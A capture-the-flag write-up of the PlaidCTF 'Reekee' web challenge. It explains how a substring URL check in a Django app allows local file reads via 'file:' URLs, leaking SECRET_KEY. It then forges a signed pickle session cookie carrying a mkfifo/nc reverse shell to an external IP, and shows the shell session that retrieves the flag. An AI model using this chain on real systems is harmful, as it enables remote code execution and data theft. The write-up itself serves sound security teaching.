None
Reekee
PlaidCTF - web - 200

Challenge Text

The Plague seems obsessed with internet memes, though we don't yet know why. Perhaps there is a clue to what he's up to on this server (epilepsy warning). If only you could break in.... Here is some of the source.


Reekee was a nice chance to explore and exploit a Django application. As the challenge suggests, the source code was provided (mirrored here). The webpage essentially just hosts user's content ("memes") for them to later peruse; typically a rich source for Path Traversal, File Inclusions, or (in the case of Django) Deserialization vulnerabilities.

A quick scan of views.py shows multiple instances of accessing "/tmp/memes/"+username (a potential path traversal vulnerability), but the register function explicitly blacklists ["..","/"]. These sorts of blacklists are notoriously easy to circumvent and are normally a great source for closer investigation. The function immediately after register contains an even worse vulnerability though that skips the need to dig into that risky code.

@login_required(login_url='/login')
def makememe(request):
  username = str(request.user)
  if request.method == 'POST':
    url = request.POST['url']
    text = request.POST['text']
    try:
      if "http://" in url:
        image = urllib2.urlopen(url)
      else:
        image = urllib2.urlopen("http://"+url)
    except:
      return HttpResponse("Error: couldn't get to that URL"+BACK)
    if int(image.headers["Content-Length"]) > 1024*1024:
      return HttpResponse("File too large")
    fn = get_next_file(username)
    print fn
    open(fn,"w").write(image.read())
    add_text(fn,imghdr.what(fn),text)
  return render(request,"make.html",{'files':os.listdir("/tmp/memes/"+username)})

The vulnerability arises from checking "http://" IN url instead of url.startswith("http://") and finishes with "file:" handler working in urllib2. So this is a valid url which urllib2.urlopen would attempt to open: "file:/etc/passwd#http://" - which copies the remote /etc/passwd to a new meme "image".

Reading the file system (particularly .bash_history) was nice, but several blind attempts didn't locate any flag. The remote settings.py file was read though, and that contains an important SECRET_KEY ('kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-') which Django uses in signing cookies. This wouldn't matter for any sane hosting platform, but Django pickles (serializes) all session data in the cookie and lets clients store that. So Django signs the cookie to prevent client's modifying it since the depickling data can execute arbitrary code. Except now we can sign arbitrary cookies. So we can create malicious cookies to execute code for us.


First, we look at what they're storing in the current cookie for any interesting elements:
import django.core.signing, django.contrib.sessions.serializers
SECRET_KEY='kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
cookie='.eJxrYKotZNQIFYpPLC3JiC8tTi2KT0pMzk7NSylkCtVMyUrMS8_XS87PKynKTNIDqdGDShfr-eanpOY4QRUzh_IiGZGZUsjizVSqBwA9bSGA:1WXXfy:GiMCy8D1-fDmZ0qN9gdGGs6JxvY'
django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
# {'_auth_user_id': 2, '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend'}

Second, we embed a simple remote shell in our malicious cookie (see here for more details).
import django.core.signing, django.contrib.sessions.serializers
SECRET_KEY='kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
payload="(dp0\nS''\np1\ncos\nsystem\n(S'rm -f /tmp/q;mkfifo /tmp/q;cat /tmp/q|/bin/sh -i 2>&1 | nc 174.142.161.221 8000 > /tmp/q'\ntR.'\ntR\nsS'_auth_user_backend'\np2\nS'django.contrib.auth.backends.ModelBackend'\np3\nsS'_auth_user_id'\np4\nI0\ns."
django.core.signing.dumps(payload,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)
# '.eJxdjrsOgkAQRfv5iqlcGmcfEjUxobCzsJEPILCArMguskthwscLCVrYTO7cnJmcqOwFpIxBL0E7D_7tQ9VBlLKhw22NPHQ9f526tja1-246D2uceGEs9w1uDapkI3FCq1EeYpKxIrmXpJTEoxACk_WEQbjRMsCnLMvH0GSjr4asyHVb2XI2UbNQ-cjt3ZF2NgymoAWjlfB0dWX1PP_43d8ns5QxXAR4-gBoL0Tc:1WXY8i:4s-gvjlrgPBWxm5XbHvzHZa49uM'
(django.core.signing was modified to skip pickling due to "plug-and-play" os.system call)

user@shysecurity.com:~# nc -vlk 8000
Connection from 54.82.251.203 port 8000 [tcp/*] accepted
/bin/sh: 0: can't access tty; job control turned off
$ find / -iname '*flag*' 2>/dev/null
/proc/kpageflags
/proc/sys/kernel/acpi_video_flags
/usr/include/linux/kernel-page-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
...
/home/reekee/give_me_the_flag.exe
$ cd /home/reekee
$ ls
give_me_the_flag.exe
mymeme
use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

- Kelson (kelson@shysecurity.com)